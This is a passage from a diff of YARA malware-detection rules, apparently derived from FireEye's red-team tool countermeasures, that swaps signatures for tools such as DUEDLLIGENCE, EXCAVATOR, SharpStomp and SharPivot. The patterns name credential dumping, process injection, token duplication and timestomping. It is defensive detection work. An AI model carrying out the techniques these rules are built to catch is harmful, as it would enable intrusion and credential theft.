C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* ) } -rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_2 : FILE +rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b10b476a-0d38-53e4-80cf-559618729268" - date = "2020-12-18" - modified = "2020-12-18" + id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb" + date = "2020-12-02" + date = "2020-12-02" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_2.yar#L5-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_2.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "5a2e0559e3b47c1957a42929fbbeba7a53c21619125381b01dcd8453b6ec4802" + hash = "4fd62068e591cbd6f413e1c2b8f75442" + logic_hash = "14263c17323cd78df10f7f101bd7a9c74f7818b34a2e42125d45205067399381" score = 75 - quality = 50 + quality = 75 tags = "FILE" + rev = 1 strings: - $1 = "DueDLLigence" fullword - $2 = "CPlApplet" fullword - $iz1 = /_Cor(Exe|Dll)Main/ fullword + $api1 = "PssCaptureSnapshot" fullword + $api2 = "MiniDumpWriteDump" fullword + $dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 } + $enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them } -rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_3 : FILE +rule FIREEYE_RT_Trojan_Win64_Generic_22 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "42e4e777-6d51-5733-97df-dc27f13a27b7" - date = "2020-12-18" - modified = "2020-12-18" + id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff" + date = "2020-11-26" + date = "2020-11-26" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_3.yar#L5-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_22.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "41cc6a4c7765b1e5e88d12660b69e434c83938ca974b9ccf6545b4dd5dd78378" + hash = "f7d9961463b5110a3d70ee2e97842ed3" + logic_hash = "52fbe5c0ee7c05df5fcd62c26caaa5498e32352da9c5940e522aa31d6c808028" score = 75 - quality = 50 + quality = 75 tags = "FILE" + rev = 2 strings: - $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A } - $iz1 = /_Cor(Exe|Dll)Main/ fullword - $rc4 = { 20 00 01 00 00 8D [2] 00 01 1? ?? 20 00 01 00 00 8D [2] 00 01 1? ?? 03 8E 69 8D [2] 00 01 1? ?? 16 0B 2B ?? 1? ?? 07 02 07 02 8E 69 5D 91 9E 1? ?? 07 07 9E 07 17 58 0B 07 20 00 01 00 00 32 } - $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 } + $api1 = "VirtualAllocEx" fullword + $api2 = "UpdateProcThreadAttribute" fullword + $api3 = "DuplicateTokenEx" fullword + $api4 = "CreateProcessAsUserA" fullword + $inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 } + $process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 } + $token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them } -rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_1 : FILE +rule FIREEYE_RT_Trojan_Win64_Generic_23 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "d438575f-3cb2-5cff-b5d4-733044f62e61" - date = "2020-12-18" - modified = "2020-12-18" + id = "470bfeed-e000-58c6-b115-dfa8aea25bef" + date = "2020-12-02" + date = "2020-12-02" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_1.yar#L5-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_23.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "56237d686b954950849adeedc87d5f9fbff2335a0ff033ba8571b3e3b93f587c" + hash = "b66347ef110e60b064474ae746701d4a" + logic_hash = "4c1860801b26abbab8c4aea730bf69f388c902083b9945e11e6782af3ab22789" score = 75 - quality = 50 + quality = 75 tags = "FILE" + rev = 1 strings: - $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A } - $iz1 = /_Cor(Exe|Dll)Main/ fullword - $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 } + $api1 = "VirtualAllocEx" fullword + $api2 = "UpdateProcThreadAttribute" fullword + $api3 = "DuplicateTokenEx" fullword + $api4 = "CreateProcessAsUserA" fullword + $inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 } + $process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 } + $token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_HOLSTER_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_GPOHUNT_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project." author = "FireEye" - id = "e1e8979e-2dee-5061-a11d-00dcfba476c3" + id = "e4325f11-103c-5893-8978-9a72f7ca6105" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/HackTool_MSIL_HOLSTER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GPOHUNT/production/yara/APT_HackTool_MSIL_GPOHUNT_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "a91bf61cc18705be2288a0f6f125068f" - logic_hash = "bc254a1ab71f2a6092f139ce5a85347a7a4976f963603ffbbebb9b0d6ce6573c" - score = 75 + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "4b1f175dac123a6340494e2730d66c718478fb7618dc5611315992ed33e0f6c7" + score = 50 quality = 73 tags = "FILE" - rev = 2 + rev = 3 strings: - $typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide + $typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_SAFETYKATZ_4 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Corehound_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project." author = "FireEye" - id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6" + id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SAFETYKATZ/production/yara/HackTool_MSIL_SAFETYKATZ_4.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/COREHOUND/production/yara/HackTool_MSIL_CoreHound_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "45736deb14f3a68e88b038183c23e597" - logic_hash = "a02b4acea691d485f427ed26487f2f601065901324a8dcd6cd8de9502d8cd897" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "b0f759709428d5c9404507a13259bf85cb8c405d38b807539098f7cc871023d8" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide + $typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Loader_MSIL_Allthethings_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Wmisharp_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project." author = "FireEye" - id = "1805b406-2531-56bf-8e08-e63a59ffcc84" + id = "97b9d057-30d3-5af7-bac6-4dd53f47650f" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ALLTHETHINGS/production/yara/Loader_MSIL_AllTheThings_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISHARP/production/yara/HackTool_MSIL_WMISharp_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "e3058095f2a49f8c0f78cb392024795367609b04c1da80210ab8d72c6613ee71" + logic_hash = "d119d52c1410291d582696d5c4c1de3db9008db963c76a9e344959d869c3acc0" score = 75 quality = 73 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide + $typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_WMISPY_2 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_2 : FILE { meta: - description = "wql searches" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "474af878-a657-54bc-a063-04532df928d4" - date = "2020-12-08" + id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/APT_HackTool_MSIL_WMISPY_2.yar#L4-L24" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_2.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3651f252d53d2f46040652788499d65a" - logic_hash = "553fc1e536482a56b3228a5c9ebac843af9083e8ac864bf65c81b36a39ca5e5e" + hash = "83ed748cd94576700268d35666bf3e01" + logic_hash = "4ed1553f12c607792d7d4e7026ecb36231cd417a06eba8b2925c2c643436b5fe" score = 75 quality = 75 tags = "FILE" - rev = 4 + rev = 3 strings: - $MSIL = "_CorExeMain" - $str1 = "root\\cimv2" wide - $str2 = "root\\standardcimv2" wide - $str3 = "from MSFT_NetNeighbor" wide - $str4 = "from Win32_NetworkLoginProfile" wide - $str5 = "from Win32_IP4RouteTable" wide - $str6 = "from Win32_DCOMApplication" wide - $str7 = "from Win32_SystemDriver" wide - $str8 = "from Win32_Share" wide - $str9 = "from Win32_Process" wide + $f0 = "mscoree.dll" fullword nocase + $s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A } + $s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 } + $s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 } + $s3 = "SetCreationTime" fullword + $s4 = "GetLastAccessTime" fullword + $s5 = "SetLastAccessTime" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of ( $str* ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_Wmispy_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpstomp_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project." author = "FireEye" - id = "ac394751-da40-564b-8e24-8f353326b46a" + id = "e113c221-fabe-5af4-b763-463c4f86288d" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/HackTool_MSIL_WMIspy_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/HackTool_MSIL_SharpStomp_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "a5a9f7c7a7bfe474e8b21306ea220b4d476832f3ad4fafdd8967a2250d15a701" + hash = "83ed748cd94576700268d35666bf3e01" + logic_hash = "fd0a3d046734d48be74d9a74f27570468550d21911c54ca82c81a1d64e9fdd17" score = 75 quality = 73 tags = "FILE" - rev = 1 + rev = 4 strings: - $typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide + $typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_2 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "8d6d28ce-de3a-5a38-b654-ba1372d47568" - date = "2020-12-08" + id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_2.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_1.yar#L4-L24" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e4efa759d425e2f26fbc29943a30f5bd" - logic_hash = "14e4a29a32e8441a6f7f322e09cd9bb9822ae47eaa1fdf8e09c90998b03658f5" + hash = "83ed748cd94576700268d35666bf3e01" + logic_hash = "af8aa0e87d8b6623a908fde5014f3849cd0ca20d5926c798be82ce4eab2668bb" score = 75 - quality = 75 + quality = 71 tags = "FILE" rev = 3 strings: - $s1 = "costura" - $s2 = "cmd_schtask" wide - $s3 = "cmd_wmi" wide - $s4 = "cmd_rpc" wide - $s5 = "GoogleUpdateTaskMachineUA" wide - $s6 = "servicehijack" wide - $s7 = "poisonhandler" wide + $s0 = "mscoree.dll" fullword nocase + $s1 = "timestompfile" fullword nocase + $s2 = "sharpstomp" fullword nocase + $s3 = "GetLastWriteTime" fullword + $s4 = "SetLastWriteTime" fullword + $s5 = "GetCreationTime" fullword + $s6 = "SetCreationTime" fullword + $s7 = "GetLastAccessTime" fullword + $s8 = "SetLastAccessTime" fullword condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_3 : FILE +rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_1 : FILE { meta: - description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "616333fc-4075-5f04-823a-1164717a2b87" - date = "2020-12-08" - modified = "2020-12-10" + id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d" + date = "2020-12-03" + date = "2020-12-03" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_3.yar#L4-L31" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_1.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e4efa759d425e2f26fbc29943a30f5bd" - logic_hash = "ecf13e47e409efd68b508735a84be6a1627f5b0c0cea6b90434fc9ba5b1d8cf5" + hash = "e91670423930cbbd3dbf5eac1f1a7cb6" + logic_hash = "f2244c6761639c1162a77a5e82296903c3cc21fbf46d262c779c5e4d6a2ef937" score = 75 quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $msil = "_CorExeMain" ascii wide - $str1 = "SharPivot" ascii wide - $str2 = "ParseArgs" ascii wide - $str3 = "GenRandomString" ascii wide - $str4 = "ScheduledTaskExists" ascii wide - $str5 = "ServiceExists" ascii wide - $str6 = "lpPassword" ascii wide - $str7 = "execute" ascii wide - $str8 = "WinRM" ascii wide - $str9 = "SchtaskMod" ascii wide - $str10 = "PoisonHandler" ascii wide - $str11 = "SCShell" ascii wide - $str12 = "SchtaskMod" ascii wide - $str13 = "ServiceHijack" ascii wide - $str14 = "commandArg" ascii wide - $str15 = "payloadPath" ascii wide - $str16 = "Schtask" ascii wide + $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 } + $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 } + $ss1 = "\x00NtMapViewOfSection\x00" + $ss2 = "\x00NtOpenProcess\x00" + $ss3 = "\x00NtAlertResumeThread\x00" + $ss4 = "\x00LdrGetProcedureAddress\x00" + $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) ) } -rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_4 : FILE +rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project." + description = "No description has been set in the source file - 